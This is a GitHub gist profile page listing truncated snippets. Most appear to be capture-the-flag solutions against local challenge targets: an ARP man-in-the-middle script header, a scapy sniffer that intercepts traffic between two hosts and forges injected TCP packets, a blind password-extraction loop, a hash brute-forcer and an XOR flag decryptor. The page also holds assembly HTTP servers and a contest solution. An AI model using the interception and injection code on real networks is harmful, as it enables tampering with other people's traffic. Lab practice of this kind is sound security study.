Skip to content

Instantly share code, notes, and snippets.

View morkev's full-sized avatar
:shipit:
bitbucket andy

Kevin Mora morkev

:shipit:
bitbucket andy
View GitHub Profile
@morkev
morkev / evilforest.cpp
Created May 8, 2024 07:09
2017 China Collegiate Programming Contest Final (CCPC-Final 2017)
// 2017 China Collegiate Programming Contest Final (CCPC-Final 2017), problem: (E) Evil Forest.
// This was asked some time ago in an interview - might be relevant to someone, idk.
#include <iostream>
using namespace std;
#define for_each_case(i, num_cases) for (int i = 1; i <= num_cases; i++)
#define left_child_index(x) (x << 1)
#define right_child_index(x) (x << 1 | 1)
#define long_long long long
@morkev
morkev / ether_arp_mitm.py
Last active February 18, 2025 08:46
Ether/ARP Man-In-Ihe-Middle (MITM) Injection
# Ether/ARP Man-In-Ihe-Middle (MITM) Injection
# . .
# .| |.
# || ||
# \\()//
# .={}=.
# / /`'\ \
# ` \ / '
# \/
from scapy.all import *
@morkev
morkev / dynamic_http_get_request.asm
Created October 22, 2024 18:23
Assembly code to dynamically process an HTTP GET request
.intel_syntax noprefix
.global _start
.section .text
_start:
# create socket
mov rdi, 2 # AF_INET
mov rsi, 1 # SOCK_STREAM
xor rdx, rdx # IPPROTO_IP
@morkev
morkev / multiple_dynamic_http_get_requests.asm
Created October 22, 2024 18:25
Assembly code to dynamically process multiple HTTP GET requests
.intel_syntax noprefix
.global _start
.section .text
_start:
# create socket
mov rdi, 2 # AF_INET
mov rsi, 1 # SOCK_STREAM
xor rdx, rdx # IPPROTO_IP
@morkev
morkev / multi_processed_dynamic_http_get_requests.asm
Created October 22, 2024 18:30
Assembly code to dynamically respond to multi-processed HTTP GET requests
.intel_syntax noprefix
.global _start
.section .text
_start:
# create socket
mov rdi, 2 # AF_INET
mov rsi, 1 # SOCK_STREAM
xor rdx, rdx # IPPROTO_IP
@morkev
morkev / most_common_byte.py
Last active February 18, 2025 08:50
Compute the most common byte
from pwn import *
import warnings
warnings.filterwarnings('ignore')
context.arch = 'amd64'
context.log_level = 'critical'
# Start the challenge process
r = process('/challenge/run')
@morkev
morkev / pwn_spitter.py
Created October 22, 2024 21:34
Assembles the pwn key one character at the time.
import requests
url = 'http://challenge.localhost/'
password = ''
position = 1
characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_!@#$%^&*()-=+[]\\|;:\'",.<>/?`~ '
while True:
found_char = False
@morkev
morkev / ip_packet_sniffer.py
Created October 22, 2024 21:38
Intercepts packets between two hosts
from scapy.all import *
def sniff_packets():
def intercept(packet):
if packet.haslayer(IP) and packet[IP].src in ["10.0.0.4", "10.0.0.3"] and packet[IP].dst in ["10.0.0.3", "10.0.0.4"]:
print("Packet from {} to {}: ".format(packet[IP].src, packet[IP].dst))
print(packet.summary())
if packet.haslayer(TCP) and packet[TCP].dport == 31337:
response = IP(src=packet[IP].dst, dst=packet[IP].src)/TCP(sport=packet[TCP].dport, dport=packet[TCP].sport, seq=packet[TCP].ack, ack=packet[TCP].seq + len(packet[TCP].payload), flags="PA")/"Injected Payload"
@morkev
morkev / brute_three_byte_prefix.py
Created October 22, 2024 21:43
Brute-force search for a hash with a specific three-byte prefix using SHA256.
import hashlib
import os
def find_specific_hash_collision(target_prefix_hex):
target_prefix = bytes.fromhex(target_prefix_hex)
attempts = 0
while True:
data = os.urandom(16)
hash_object = hashlib.sha256(data)
hash_digest = hash_object.digest()
@morkev
morkev / xor_objects_two_bytes.py
Created October 22, 2024 21:47
Using XOR objects to decrypt the flag using known ciphertexts and plaintexts.
import base64
def xor_bytes(a, b):
"""XOR two bytes objects."""
return bytes(x ^ y for x, y in zip(a, b))
def decrypt_flag(ciphertexts, plaintexts, flag_ciphertext):
"""Attempt to decrypt the flag using known ciphertexts and plaintexts."""
keys = []
for ptext, ctext in zip(plaintexts, ciphertexts):